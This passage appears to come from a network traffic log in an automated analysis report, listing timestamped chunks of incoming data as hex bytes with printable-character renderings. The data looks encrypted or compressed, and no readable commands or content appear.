2021-12-28 04:19:41 UTC	1617	IN	Data Raw: 65 23 7d 8b d8 d9 69 29 42 a5 32 24 fd b7 b0 e4 49 5d 4e fb 3f 7e 8a 1a cb ff 26 c2 8c 51 74 8b da 79 56 e4 77 94 43 41 3d 4a ff 96 9d b7 cf 45 d6 88 6b 48 3d 31 60 cc e7 02 ab 23 b4 51 23 2d 92 17 b5 b0 d4 8d d8 15 96 46 75 1f 42 b1 f5 27 7f 2d 59 54 fd ff 64 5f d9 43 c6 d9 62 4d 84 a8 a1 bc 11 27 4f f9 e4 0e 0d 55 d2 7f b8 ed 23 eb 11 13 d1 c2 b6 d4 1d dd e4 ca 6f 1f 9a da 06 c4 29 7c a6 70 37 eb c8 7d cf c8 39 2f 8a b0 83 f2 6d 1b 3c a0 0a 7e ed 36 dd c9 5d 87 d4 85 83 23 e5 a5 6a a6 b3 a9 88 60 ee 27 8e 74 a3 6e ae 72 1a 8b d8 1d 1b 78 06 77 b1 38 a6 85 f6 6b f2 a1 6e 3f 4d 1b 99 fe 4a 41 d0 34 40 6d e7 0e b0 d1 ec 2c 29 32 45 65 3f 28 77 30 93 44 53 e9 4b c4 a7 29 21 e6 86 d8 36 c8 6b 9d 54 45 ce e4 f9 2e d3 98 73 d9 3b 79 15 c3 a4 65 34 49 23 b0 78 Data Ascii: e#}i)B2$I]N?~&QtyVwCA=JEkH=1`#Q#-FuB'-YTd_CbM'OU#o)\|p7}9/m<~6]#j`'tnrxw8kn?MJA4@m,)2Ee?(w0DSK)!6kTE.s;ye4I#x
2021-12-28 04:19:41 UTC	1633	IN	Data Raw: a8 ba e8 5d 71 dd 97 93 14 07 28 51 81 69 3e 30 3b 84 72 b6 be f7 16 92 7a a6 6d 9a d1 4c 13 cc e6 ff bb 0a 5c 65 c6 16 ef 24 e1 5a 4b b9 34 96 95 f0 7f e4 ba 74 92 a7 bc f3 e6 f9 c9 6e a4 8e 5a 3b cf 05 36 c0 da 5f ea 52 05 c5 a6 2c 39 c7 29 14 82 0e 5b 59 1f 00 10 0d 6f 25 11 99 2a 6d b4 37 11 e8 29 31 ff 23 82 5d e4 a5 0c 39 79 1c 22 7b 75 6c 99 1f 64 15 aa b3 20 23 33 18 28 bb 90 c6 ef 2a aa 4c a0 9e 40 f5 29 31 72 61 95 fa 4f 82 42 d4 59 83 b1 39 db 96 63 72 ca ec 18 20 b2 47 22 2c 73 76 cc 7e 22 93 6a b0 c5 11 4c 1d 5b 71 96 90 ad a4 22 f6 64 06 a6 a9 68 dd 76 f8 1f 12 57 7d a1 25 0c 76 3f 62 2c e7 63 57 d2 37 ef ca c1 f0 62 17 64 fe ef a1 fe 94 de 6d 52 4f 2f 8d 52 ac ce 29 bd 1f ec ce c1 66 df bc 77 31 ed 39 f2 f3 fb d2 c8 d2 a4 2b dd da 08 56 da Data Ascii: ]q(Qi>0;rzmL\e$ZK4tnZ;6_R,9)[Yo%m7)1#]9y"{uld #3(L@)1raOBY9cr G",sv~"jL[q"dhvW}%v?b,cW7bdmRO/R)fw19+V
2021-12-28 04:19:41 UTC	1649	IN	Data Raw: f9 09 59 6b a2 22 57 96 6b 11 8d 5e 46 8b f7 ae e0 81 27 ea 29 d9 21 0d 21 9f 00 8d 1e 39 6f 55 b1 ad 9d ae d9 6a 65 d8 b2 6a 0d 11 76 15 2e 21 6e 35 44 bf 1f f9 06 e5 d8 b6 94 62 ad e3 13 49 d9 f4 11 40 f5 dc ad 47 5b 1f e5 53 63 c5 45 f5 1c 90 25 b5 ad 64 bc d1 f4 be 1e c9 e9 87 0d 89 24 29 9c 38 ab e0 4f 03 4a 00 17 60 83 e9 15 3b 91 9f e3 24 02 35 67 a1 b5 2e 2e 2d 95 b6 17 66 7e 69 98 4e f5 60 66 ca 14 f1 03 d1 98 6d ee 95 32 31 8b aa 72 cf 00 7b b1 9f 0a 20 5c 01 23 ea 4e 85 27 cd 2b 40 9f 13 37 ea c7 6a 09 c5 cd d5 d9 45 16 2e 08 53 c0 95 d5 49 2c df e4 1a 0e e0 6a c3 2f 83 08 48 2d 2a 88 42 1c 39 a4 f1 dc fc 39 22 7f eb b1 e1 38 0e a6 4d f0 1a 6b 70 43 6a 50 21 75 06 b1 16 d1 2a 94 7d 02 18 61 b4 a6 52 d0 7a 01 27 ea 2a 68 da c8 a0 e0 a7 59 7a c5 Data Ascii: Yk"Wk^F')!!9oUjejv.!n5DbI@G[ScE%d$)8OJ`;$5g..-f~iN`fm21r{ \#N'+@7jE.SI,j/H-B99"8MkpCjP!u}aRz'*hYz
2021-12-28 04:19:41 UTC	1665	IN	Data Raw: 6f 32 5c c9 c6 5c 5e 5a 54 90 51 e2 67 f9 33 bf 10 32 2a 0c a4 14 d0 52 5c 0c 03 db e1 e8 03 7c 8c 61 3f 31 40 5c e9 83 f4 73 85 58 b6 cc 3e 25 4e 3a de ca 63 3c 89 66 59 6b 78 d9 3e bd e1 d0 00 3d 50 63 c7 c8 27 d9 a3 27 bb 25 8d d8 46 81 c9 02 0b 30 b7 8a 3e 8c 82 5a 18 1d a2 29 d0 f0 fc 5c 5b 3e a0 0f 92 81 8c 13 18 6f 8d e3 e8 67 b3 b2 ef 3d 8f 83 60 6f 21 87 d5 63 19 d4 40 82 32 2c 3d 71 ca 4e 83 1a ef f4 b9 13 a7 ce c9 ab 0b 85 ea ec ed ff dc d7 92 b0 7f 27 54 84 23 25 61 98 a0 2a 6a 6d b9 d1 9f 24 99 9c 21 a8 7b cf 37 b1 18 15 c0 da b8 f1 fa 76 4a f0 78 3a 0c a7 05 87 93 79 d0 73 1e 1f 2f aa 0a 87 0d 2d e8 1c 48 d2 86 78 8d 8a 70 9a 5f 54 87 e8 9a bb c8 4a 54 09 57 e9 db dc 34 f3 4a 66 5b a2 94 42 97 82 4c 51 4a 28 a6 b6 a9 45 5d 64 f8 ef 4e de 8b Data Ascii: o2\\^ZTQg32R\\|a?1@\sX>%N:c<fYkx>=Pc''%F0>Z)\[>og=`o!c@2,=qN'T#%ajm$!{7vJx:ys/-Hxp_TJTW4Jf[BLQJ(E]dN
2021-12-28 04:19:41 UTC	1681	IN	Data Raw: a5 5f 22 51 b3 db cc b9 bb f8 df dd 93 ac 0b 6c 47 17 0b 34 e6 99 8f a3 31 8d 05 5d 9c 22 4e 5b 87 3a 8f 61 9a 01 c7 e4 c1 70 2e 10 ec 34 23 63 e8 d7 bb 7b 23 59 ac 44 6f 82 31 1a 60 4a 69 66 5c 48 a9 3b 11 d5 e4 93 23 23 a3 f5 a8 c9 60 92 3c 88 8e 8b a7 3c 53 ef 90 e7 b5 d9 b0 7d 33 65 f4 f4 3e da 01 b7 ab 7f 1d 1e 81 ae 56 79 63 c0 d9 87 3c b2 d4 74 c3 5d 7d 0d a0 e9 6b 94 6b a0 8f e4 5c 79 f5 ca 1f 50 17 d1 72 f7 45 9c 49 91 d5 3b f5 6f f2 9d 8f 94 cc 9c 5e d2 c2 d2 2e ff a3 ee fc 24 25 b2 27 93 36 6f f1 16 f4 e7 d7 86 11 b2 51 01 cb 8b 50 23 04 73 2a 17 3e a2 a3 4d 44 a1 43 cb 26 19 22 13 d2 a2 9c af 49 70 37 a9 b9 e3 98 e9 be 2e d1 d2 4a 9c 5c 67 4f 61 d5 fc 4b 55 c3 f9 4b b6 0c fd 0c e2 39 83 95 e0 90 92 6d 02 44 6e f9 09 ba 64 c5 d1 42 fb b3 de 12 Data Ascii: _"QlG41]"N[:ap.4#c{#YDo1`Jif\H;##`<<S}3e>Vyc<t]}kk\yPrEI;o^.$%'6oQP#s*>MDC&"Ip7.J\gOaKUK9mDndB
2021-12-28 04:19:41 UTC	1697	IN	Data Raw: 87 d6 cd 45 f3 56 40 03 4f 78 66 ad d7 09 b6 4c b7 dc c1 56 83 26 6b f6 52 b3 2e b6 da 5a 92 66 d3 d9 86 bb 3f 5b 17 72 9c eb e3 71 2a bc 8f 02 26 cf 26 7c cb f5 52 e7 2f 64 ef 49 cf 4c 7c 52 17 09 1f cb 0c ff df f5 a7 2f 7c 25 03 72 85 90 11 0b 8f 26 0c 16 33 81 c7 50 84 25 85 d8 2d f4 3b ec d8 01 65 dc f2 63 38 f3 d6 d0 6d 05 ab 29 ee 2e 61 4b 05 3b 5a ee d5 6e ee 5a 67 ca 23 10 5f 0a 7d 66 87 ad e8 a4 d0 dd 18 0f e8 5b 37 44 0b 5c 97 57 8e 09 60 ad 7c 68 96 23 78 db 59 d4 80 87 9f 26 f8 be 38 f6 68 08 07 09 74 6c a1 87 b0 70 5f b0 ac 5f db 16 36 04 09 06 f7 79 4c 32 d1 5f e4 0c 74 79 d2 0f 02 e8 34 7f e2 f6 cd aa 39 14 39 ee b6 53 08 f0 f2 1a cb de e0 ca 3f 11 1b ad 19 d5 65 01 4e b2 c2 5e 4a bf 07 55 84 ad ce 9c dd 7d 13 6c 6f 4b 19 e1 3c 7d 86 18 eb Data Ascii: EV@OxfLV&kR.Zf?[rq*&&\|R/dIL\|R/\|%r&3P%-;ec8m).aK;ZnZg#_}f[7D\W`\|h#xY&8htlp__6yL2_ty499S?eN^JU}loK<}
2021-12-28 04:19:41 UTC	1713	IN	Data Raw: 78 52 14 b3 c9 70 cf ab 0e 34 0d ab f3 4e 8e a1 f6 03 28 a3 5e a8 31 f7 79 53 a9 9a b3 19 bc 00 5b 32 d6 9c 43 47 c3 6d d3 63 dd b4 33 19 a9 2c 8a d8 c1 0f 94 31 8b b8 5d a6 ac 49 c9 c2 8a 42 3c 87 99 8e 86 6b 88 f1 38 31 b1 8d 00 5c c9 4c 5e f7 1d 91 8d d8 e9 30 1a 5d ab d2 f3 9e bc 0d 78 92 7c 0a 7d f8 17 f8 54 66 b0 c4 59 5c 66 8a 47 a1 13 6b dd 39 c4 6b 5f 55 29 de a1 69 94 df 22 4d 1c 34 82 b4 c5 bc d5 5b 08 1b 4f b8 fd 19 fd 8d 31 b5 7d 5b 76 57 ba a9 75 77 45 0e e2 06 e3 c5 5b 75 0e 70 ab ad 47 d5 da 02 3d 27 a2 eb de 13 20 da e4 ec 50 07 90 4f 5b 32 34 e2 11 f7 28 7a 94 05 60 ec 86 c6 13 6a aa b9 09 bc 67 90 c6 4f 8f 5d fb 36 d7 50 d4 d9 f7 29 df 29 3e e4 e3 22 1b 58 e6 0f 2e 35 91 be e9 a7 b0 c1 f8 e9 16 9f cc 49 0c ca 2a 0b 28 7a 49 d6 73 de 01 Data Ascii: xRp4N(^1yS[2CGmc3,1]IB<k81\L^0]x\|}TfY\fGk9k_U)i"M4[O1}[vWuwE[upG=' PO[24(z`jgO]6P))>"X.5I*(zIs
2021-12-28 04:19:41 UTC	1729	IN	Data Raw: d9 f4 aa 3f 9f 84 c0 75 35 c8 9d 27 3c 83 5f dd d8 bc 57 04 a5 17 f7 35 db 4d e2 02 87 59 3e a9 16 07 5f a7 8e ee 45 ed 99 f0 07 0a a0 f6 31 67 ce 48 d4 56 9c a5 73 b1 f0 fd 4f 8a 06 08 d3 9d 04 d3 a9 6e 0f 66 b0 b5 02 a0 51 b5 09 cc 8e de 9c 8d 0e 50 15 69 80 22 14 16 d0 16 4a f8 c1 16 4e 44 89 24 24 6c ea e2 68 2e 80 38 5f a5 9e d4 e7 6d d0 ee 16 8c 3d 03 36 6e d8 cc 90 b8 f4 3d 0a c0 42 2d 66 5f 6a 3e 75 9a eb f9 c6 6b 93 34 0b 5a fa 15 9e c4 c3 68 70 64 f6 3d 8a 44 8c b0 5a 27 6e 5d 97 d3 e6 d5 7b 38 42 de 38 49 5f 04 9b f8 25 be 37 81 24 7c 28 3c 44 f9 61 bf 17 6a 67 6d 66 4a e6 7c 09 8a 5e aa 26 3e 38 e2 93 2e 35 26 2f 5b 96 67 c9 49 d6 63 2f 85 35 07 af 92 d3 55 1e 03 e8 86 5c 10 1d 21 e3 66 04 6f 52 61 b0 58 84 47 a9 e6 76 cf b4 4f 34 a1 ab 14 40 Data Ascii: ?u5'<_W5MY>_E1gHVsOnfQPi"JND$$lh.8_m=6n=B-f_j>uk4Zhpd=DZ'n]{8B8I_%7$\|(<DajgmfJ\|^&>8.5&/[gIc/5U\!foRaXGvO4@
2021-12-28 04:19:41 UTC	1745	IN	Data Raw: 8e d7 b5 75 f1 c2 9b 4b c4 ec c8 c7 d5 0c 65 f4 30 6e ba 98 56 af 93 01 3a e6 b2 d4 22 b9 03 17 62 e3 19 1e 92 7d ec ac 11 65 fe b8 f1 ce b5 a9 b4 15 36 35 06 4c 62 dd a6 b8 26 d7 27 fb d3 c5 e3 b4 fd 90 f3 00 0a e0 97 9f 31 e0 5d 50 8c ce c1 ba 77 6b 75 0f 57 a6 09 4c 77 88 aa b7 44 18 f7 c0 46 3e c1 0d 28 6c c4 c8 a6 e8 15 0c b2 73 2f 76 1a 79 8a 12 5d bc ee 3b 57 47 e6 cc da 76 8a 48 c4 52 16 6f 8e 99 f0 6a 68 67 d5 e9 c5 39 77 d9 bc 65 b1 2d 11 6f 6b 27 6d 9f 95 5c f7 1e 33 57 4e d5 bf 2d 49 44 78 68 04 d1 6e 39 11 21 89 52 ef 31 68 57 3b 1a 56 77 76 52 c9 26 3f bc 9b 03 3b 87 ea a7 c6 b1 f4 d8 e5 9a d5 6c 05 d9 a3 df fd 4c 99 29 6d 16 55 91 c6 64 77 af 86 02 8d 12 4f f1 cd be 38 d0 8a 51 a1 a7 f9 19 8c 76 ab 71 cb 8b a3 39 f7 1c a1 ef 8d 97 88 d0 6d Data Ascii: uKe0nV:"b}e65Lb&'1]PwkuWLwDF>(ls/vy];WGvHRojhg9we-ok'm\3WN-IDxhn9!R1hW;VwvR&?;lL)mUdwO8Qvq9m
2021-12-28 04:19:41 UTC	1761	IN	Data Raw: 05 85 6e f3 ef d2 5f d2 2c ee 99 d2 00 20 87 78 ff a9 e8 60 6f 83 7a 7b a7 2f 7f 93 48 25 cd aa 1c 9c e1 eb af 1d 97 2e 4e 57 97 cb 1b cf 17 28 49 7e d6 64 7c 87 04 6e 15 ce b6 6e 59 b2 9b bc 41 91 bf 0d ad 50 22 09 26 71 46 ae 89 28 eb 24 58 fb 70 bc e4 6c d1 41 8c 75 3a 0b b4 11 09 e4 83 30 97 38 cd cf 1b c1 b7 2e 25 d7 84 15 32 d7 b5 b3 a7 34 75 71 3f 20 c4 83 05 37 fe 6d 54 c1 2f 87 42 ec b0 38 f9 8e 75 99 5b dd fa 54 e1 db a3 a9 78 45 7a d0 3f 3e 97 d3 3a eb e1 17 07 03 d4 f6 d0 01 54 4b 16 9d 62 94 76 33 5a ef af e7 97 fc 06 73 76 8e 92 d3 1a 9d 5a 60 85 0f 80 5e 9c 03 c8 02 33 18 8b 36 48 d8 a9 8e 1a 81 bc 0a 64 3c f8 be b2 fc 81 0f 7c 7b 8e f4 80 20 53 e7 7a 33 88 22 27 8e 2f 8a 90 e4 bd 1f 8d 08 0f 97 0e bf 21 d2 e3 d7 f9 30 37 94 07 a4 09 44 9c Data Ascii: n_, x`oz{/H%.NW(I~d\|nnYAP"&qF($XplAu:08.%24uq? 7mT/B8u[TxEz?>:TKbv3ZsvZ`^36Hd<\|{ Sz3"'/!07D
2021-12-28 04:19:41 UTC	1777	IN	Data Raw: 66 ce 8d 98 e1 04 01 be 4a cb b7 a3 00 35 9a 90 de 75 56 5a 44 cd 2d 28 6c a7 26 0d 33 4d 95 50 5f bd d2 0a 2d c2 0e 3b 7e 3b fb e0 ec ee 44 8b 63 f8 60 25 0e 19 b2 3a f9 a6 9e 28 3e 1e c9 5e a3 c7 7e 32 f4 bd 28 d3 3e 8f 3f 13 b7 52 4f d3 97 74 b8 19 94 a2 d6 4f 7d 96 ba 06 c9 13 2e 6a 6e d9 33 32 22 50 5f 13 1f 32 cc bb 61 50 4f 4e de fd 89 17 54 4e 65 fd 2f 9d 29 f8 a3 cb c3 7d 24 48 eb d2 33 8a c6 48 ab 8f 9d b6 93 71 ac 74 1b 8b ea 74 22 95 de 37 8b 25 cd 71 38 36 ca 65 dd 2e 42 50 94 a5 1d 20 a5 a3 f1 d3 1f ab 41 7d 98 90 03 41 22 db cb 4c 53 92 53 5e 18 f4 90 71 78 d6 5e 5c 1b 6f 1b 61 a3 78 25 93 77 a2 d3 e7 dc c2 24 06 91 9b 47 14 5c 16 e2 4c 9d c8 a3 82 95 ea bb 99 9f e2 e4 d7 ff 33 db 20 3f 7d fe f0 73 93 42 ec 55 dc c1 e1 bb 1f 96 4b 63 6e 30 Data Ascii: fJ5uVZD-(l&3MP_-;~;Dc`%:(>^~2(>?ROtO}.jn32"P_2aPONTNe/)}$H3Hqtt"7%q86e.BP A}A"LSS^qx^\oax%w$G\L3 ?}sBUKcn0
2021-12-28 04:19:41 UTC	1793	IN	Data Raw: 93 d1 c1 7e 3e 7a c9 e8 05 50 46 5b c2 fc e4 a0 0a 51 77 eb 44 31 64 19 dd 51 9c ae f3 15 10 0b bb 8b ab d1 6b cc 17 d3 0a a8 76 e7 0d 56 32 49 9c 97 77 0a 10 93 09 11 e7 27 f2 4c 3b 9a af 10 4d ee 89 92 36 fd 6a 72 9b 0a 6f 66 b2 bc 90 e1 22 b3 80 01 ba c0 7b c2 49 c6 98 e3 ef 21 3b 3c b8 e7 22 96 1a 06 d4 39 9e d7 60 68 99 ba b9 df 53 f1 de 03 76 ff 4d a2 2f ec 60 3c 4e a2 48 2b 55 be 9d a1 54 8a fd fd cb 62 51 56 c1 de a0 69 b1 0e 51 67 9e 9d 60 c7 46 f3 83 d4 13 db c3 42 f5 ba 0d ff 72 95 6d 4c d2 5e bf 07 63 26 2c f6 23 de c4 dc 01 d8 6a 3c 2c d4 44 c7 6c 82 5b a1 db db 0a e8 01 c6 af 83 2d 87 f0 b2 0e 92 01 de cf 65 18 7d 29 9c fa 9e 1e 0f 29 c6 5e f5 d7 60 29 93 a2 27 38 be 79 aa 01 0e 88 70 33 88 81 17 9d 6b ce 49 96 ec 17 bf fa 69 aa 6b 0a 27 39 Data Ascii: ~>zPF[QwD1dQkvV2Iw'L;M6jrof"{I!;<"9`hSvM/`<NH+UTbQViQg`FBrmL^c&,#j<,Dl[-e}))^`)'8yp3kIik'9
2021-12-28 04:19:41 UTC	1809	IN	Data Raw: 0f 4f 3d 30 bd 13 23 54 e9 72 84 73 2f ac 93 8c 29 36 8b 0a b7 ef de 9c c4 ef b4 8b 6d c0 aa 25 43 aa aa bc 34 63 79 c6 76 7c ac e6 e1 71 01 77 df 65 75 0f ab 18 f7 a9 e7 62 d0 53 16 3a 46 79 8e 1a a2 93 16 58 a3 9e d7 13 f2 86 ee 1a e1 33 81 69 b7 81 d9 b6 3c 94 a0 c2 04 a3 3b aa 3d 4b ca 51 c0 56 4a 13 bc ec aa 7c 27 ca bd 5a a2 c5 28 78 ea 88 8f f8 56 ca 91 3b 67 02 ca 53 ad a0 b4 a0 5a ee 46 5c fe c7 d5 7e cf 94 e1 33 f6 fa 12 b2 d5 ac 83 42 0e 5e d5 83 53 dd 08 ca 3d 42 48 e4 14 8a b6 ba 77 ce c6 2c ed c2 b0 c1 12 56 d3 c3 f0 d7 c3 10 16 07 18 69 49 79 5e c1 b7 62 ab 54 d2 65 af 96 07 60 17 37 b7 ed 36 bf 3a 6e 5e 85 09 3b 54 4d e0 25 03 c0 2e 62 db 1f 97 21 8b e3 c3 f4 37 e1 11 2c 62 02 97 38 96 97 8a c3 20 b4 86 9e bc 52 25 38 a6 f0 4e a2 1e 5f ac Data Ascii: O=0#Trs/)6m%C4cyv\|qweubS:FyX3i<;=KQVJ\|'Z(xV;gSZF\~3B^S=BHw,ViIy^bTe`76:n^;TM%.b!7,b8 R%8N_
2021-12-28 04:19:41 UTC	1825	IN	Data Raw: 4d 5a 2d 06 1a 9f 26 0b 68 42 2f 07 6a 57 08 11 1e ff 05 6b da 37 a4 9f 46 7b 22 78 6a a8 9f 15 53 6f 98 9b d2 d8 5e f7 bd b0 2e 4f 40 75 ff 60 32 ae 88 a4 e3 64 03 99 39 c0 1f 4f a2 4a 40 b4 08 8c 1d 5b 8c 8c 55 35 bd 35 08 3d 61 ff af cc 7e 22 50 4b 2e 1e 1e bf 60 e7 b6 0a 15 80 d7 cc 7d 7a a0 82 b6 c0 eb d9 f3 38 49 11 d7 9d 84 31 5a 2b e4 79 dc 1f 6c b1 60 16 37 13 91 1f 08 c3 93 dd 80 68 af ed ab 19 6d 8e f9 0a 43 5c 0e b6 0c c6 4f d0 04 2f 6f a0 4a ba a6 5d 5d 40 14 f5 2d f9 97 8d b4 50 b0 6c 78 25 c7 da c3 7a 61 a4 bf 18 25 d4 87 54 36 bc 2e 7b 95 8c 0f e5 2e 75 63 c6 f4 c4 5d a5 4c a1 47 70 a1 e2 3f 90 4c a1 3e ae 32 48 46 e1 25 f4 3e 9b aa 08 24 09 b4 ca 3e 15 3f 3e 4a 23 8c 38 5a 10 ea f0 e3 06 b1 0a 52 48 7f cb 37 d2 54 61 78 09 4f 65 5b 5e 44 Data Ascii: MZ-&hB/jWk7F{"xjSo^.O@u`2d9OJ@[U55=a~"PK.`}z8I1Z+yl`7hmC\O/oJ]]@-Plx%za%T6.{.uc]LGp?L>2HF%>$>?>J#8ZRH7TaxOe[^D
2021-12-28 04:19:41 UTC	1841	IN	Data Raw: 02 5e c0 b6 28 05 a6 44 b2 0d 0e 31 37 e1 30 22 11 e0 60 aa 4b 90 73 61 12 b3 9f 5f ec df af 95 5f 6d 8c 2f fc 9e 31 83 f7 85 e9 4e 74 f4 47 f2 88 19 4d 06 3c 3b 27 cc 01 27 e4 4e c4 29 71 ae 8f 7f 6e 19 ab a7 3a 64 b1 0b 02 be 76 76 17 01 d4 6d 8f 82 74 5b 74 6a 00 42 f9 74 9b 1e 43 f2 15 54 df db bc b5 27 13 7a a6 60 9e f2 0b 3c fa e9 3a 20 3c a1 5c 39 dc 90 c5 a8 cd ef 48 63 cf e1 b1 64 18 69 dd fa 73 77 06 79 70 7c a9 87 26 86 7a a0 80 8a 24 65 4c ee 51 81 e3 5c 18 b5 0b 3f 0c 3a e7 ae a8 4f 01 45 75 1c e0 82 98 ec f4 9b a4 b3 99 26 ab 3d 07 5a 00 6c d7 6d 80 66 36 1d 58 8b 87 a8 73 fd 96 73 ae 2f a6 7b 8a 48 29 36 01 e5 97 75 d6 e6 01 99 01 93 af b8 de c4 7a bc c2 59 26 c1 94 06 5d f7 5d b1 94 69 3e 6f a9 b2 aa 1f 28 d0 9a 91 11 59 45 49 b2 db f5 13 Data Ascii: ^(D170"`Ksa__m/1NtGM<;''N)qn:dvvmt[tjBtCT'z`<: <\9Hcdiswyp\|&z$eLQ\?:OEu&=Zlmf6Xss/{H)6uzY&]]i>o(YEI
2021-12-28 04:19:41 UTC	1857	IN	Data Raw: a4 78 44 8a 02 33 2a c7 11 06 59 8a 51 c1 0d 33 1f 7e b8 57 a0 92 9b f0 a5 3c d4 2e 7f 77 55 e4 57 55 01 c3 22 1b c6 df 3e 0f 0b ab fe 0d 72 8d 12 6e f0 ea 4a 76 d3 e7 45 2e 90 2e f2 f5 9d 78 51 c8 7b ae 7a bb df 07 b4 b7 2b dd d7 99 19 8c f4 02 57 1e 6c 37 5e 84 11 26 fe d9 e0 2e 66 48 20 a7 bb 84 a3 f7 28 df 4f 72 c6 22 72 3f e3 33 ca bc 98 52 01 84 67 fb 4e 46 54 e4 e5 65 df 21 f1 33 e7 4a 24 fb 03 30 c6 b7 62 bd 62 a2 a0 12 06 3f c7 5a 48 70 8d 8c 9d 0a e8 d1 29 03 c6 7d fc 50 dd e7 d0 ef 57 22 c2 14 a0 12 5f d5 31 bb 1e 51 cf 1f 2e 5b 04 41 c8 63 c7 e4 ce 92 64 b2 c9 26 0e ed 68 93 94 d8 ca 3f ed b4 d3 a4 25 c5 db e9 b8 38 a4 2e d8 c8 64 8e 19 8a 61 72 f5 bc df d0 ba 62 f1 43 fa 83 44 e4 66 f4 69 3f 5c 76 dc ac 9c 8e cf 32 1b 23 91 6e 7c 9d 92 78 ed Data Ascii: xD3*YQ3~W<.wUWU">rnJvE..xQ{z+Wl7^&.fH (Or"r?3RgNFTe!3J$0bb?ZHp)}PW"_1Q.[Acd&h?%8.darbCDfi?\v2#n\|x
2021-12-28 04:19:41 UTC	1873	IN	Data Raw: bb 19 bd 5c a1 97 b7 56 8e d0 03 f3 db a9 dc 21 6d d9 ce 4f 0e 08 08 75 35 78 f4 d4 8c d6 ce 85 54 1f b7 cc 70 b0 bd 8f 59 00 0a 8f 3d 92 35 c5 b0 35 42 ae 10 73 d0 ea e2 2d 1f ce 31 a0 79 5d a5 b9 a5 1d cd 5f 85 07 16 68 7e 09 82 7e 1a 20 39 68 29 3c b6 db 40 9a 83 aa d9 3c fe ef 43 f2 b2 82 c5 20 44 ba 58 53 11 69 19 06 2c 0c 2d 1d 01 1c 32 96 fa 55 52 65 c2 6e 3a 75 60 cb 8d 83 ab c2 af c2 5c f8 d5 eb de b2 7c 3f f4 d4 6e d6 50 be 78 ad 7f 57 a8 ef d2 9c c3 7a 13 b7 9e 3a d5 d3 47 c0 31 ed 16 ea 81 69 ed 07 0f 4d 20 97 8f ec 80 ea 97 1f e0 85 02 8f 0d d9 93 81 1f 9c f4 d3 97 d6 66 74 2c 2e 40 10 b2 aa 0c 87 a5 48 0f 9f 7c c0 57 5e cd 2d a5 1c 59 fa 55 9e 9c 12 62 6a 2f 21 b7 07 8e 40 b0 3d 59 86 02 df 38 a8 84 f9 78 6f 66 05 4f ce 5c 04 fe 30 4d bf d8 Data Ascii: \V!mOu5xTpY=55Bs-1y]_h~~ 9h)<@<C DXSi,-2URen:u`\\|?nPxWz:G1iM ft,.@H\|W^-YUbj/!@=Y8xofO\0M
2021-12-28 04:19:41 UTC	1889	IN	Data Raw: 5e 75 ca 06 13 74 d6 63 ed ce a2 b0 48 79 aa a1 11 ff 0e 43 d8 e1 86 06 64 b0 db 6a 66 40 b6 a3 e2 0a 63 cd d3 8c cd 07 11 83 aa b7 f0 aa b0 90 90 df 21 c2 12 0b cf c2 4b 18 52 22 db e9 7d ef ed d4 ea cc f1 06 b0 0a 5a 19 87 b8 34 61 30 1b e9 6f 1b e3 9f ac 5c 5d a1 5c 57 fc 16 fb 97 21 20 bc 75 9f 8d da b6 e2 e1 e7 c4 a5 63 aa 84 1c 5a 34 76 b8 9a 92 48 75 f1 90 d5 69 6f b0 10 c0 72 d3 1b be a4 36 b5 67 38 06 9a b4 50 cc d2 f2 3f c9 15 20 b8 e1 f5 ae da be 72 0c 8f 03 ab c8 65 a0 b3 5f 36 b6 ce e4 67 6d e3 e2 e0 8d 2e 6d 57 51 22 67 9a 0f eb d9 dc 83 89 4b 82 a8 93 39 f3 6d 6e cf 00 63 70 cb 07 ff 4e 7c b6 23 2b 7e cb 40 6a 3b f3 c4 90 f7 02 34 30 99 91 0e 79 e5 60 c7 d1 7a 49 a6 20 eb 8d f4 97 60 74 3e e9 dc 6c 71 21 39 d2 b7 47 11 c6 fb 80 da 6d 4f 34 Data Ascii: ^utcHyCdjf@c!KR"}Z4a0o\]\W! ucZ4vHuior6g8P? re_6gm.mWQ"gK9mncpN\|#+~@j;40y`zI `t>lq!9GmO4
2021-12-28 04:19:41 UTC	1905	IN	Data Raw: 8e 39 7d 66 58 40 0a 28 ed d2 88 a1 2f 0f e8 47 8b 0f 55 a9 60 7e 7b be 2c ae 27 cf fe 88 5b 5f e4 70 e5 3e 99 96 31 ca e1 93 8a 8c d5 c6 02 42 18 36 1d 18 19 8f 00 f1 46 14 e9 54 97 32 84 6a 65 b6 8e ac 66 20 0d 3a 28 cf e2 d6 94 48 a8 25 6d 47 16 a6 af e8 5f d0 03 4b 1d 0d f0 84 20 6f d7 b3 89 cc 32 95 a5 76 92 b3 c9 4e e7 4e 57 e9 dd 94 b2 f8 64 1c d3 d4 9f e9 fe 07 bd 25 ac 38 45 ef 68 c1 80 05 20 1e 46 e0 51 de a1 88 1b 9f 9f 86 27 6d 01 d9 66 ca 9d 6c 3b e9 33 24 66 21 27 9f 8f a9 46 06 c0 c2 97 10 fb 30 e8 4b 79 89 eb 6f fa ee 24 84 e9 f0 1a d3 49 5b 7f 80 c0 dc 51 85 b7 99 dc 40 7a 3d 37 fb 1e 82 b8 65 d8 d9 1a ef 98 7e be cb eb 3e 92 d2 3d 5c 9a 6b 86 53 a7 30 63 35 94 4e 5d a9 91 79 92 5e 8a 55 79 75 e6 f1 df 07 a6 80 cc 76 af 4b c8 63 da f5 f6 Data Ascii: 9}fX@(/GU`~{,'[_p>1B6FT2jef :(H%mG_K o2vNNWd%8Eh FQ'mfl;3$f!'F0Kyo$I[Q@z=7e~>=\kS0c5N]y^UyuvKc
2021-12-28 04:19:41 UTC	1921	IN	Data Raw: a0 ec 41 1e cd d4 14 de d3 9f d9 7a cc 5e c5 da e9 86 db ea 63 8c 7f f0 50 b1 36 11 71 78 64 6d 99 2d 36 c4 7e 8c a1 7f e7 28 45 46 00 ff da 52 dd ac 20 82 5f 87 da 57 f0 f8 27 f7 0f 89 cb 92 7b b8 cf bd bb 45 2a 1d 16 bc f2 74 58 c4 60 fa 91 cb 05 44 93 ce 70 3b c2 73 0a 15 4b 9c ea 89 5a 94 0b 8e 84 85 69 5d 67 e3 93 ce e8 38 f1 f9 a6 63 dc 54 df 30 35 6f da ce 8e 99 6a 88 84 39 49 56 a3 aa a0 1c d0 3a 0b 51 62 a3 30 22 2f 9f ef f3 64 2d 4a 24 d0 ab 6f fa b1 05 51 b0 69 a2 00 df 9c 9c 85 c3 80 a9 de cf 37 b8 95 de aa c8 e8 47 41 0f 4b c1 36 a3 5c 64 c3 6f 0b 40 30 70 e4 fe 52 d5 61 d8 6d 4d a5 15 ae bd cd 70 54 3c 1e 35 6f 36 3a e2 80 3e 91 b8 3a f8 db 51 e0 48 d1 e7 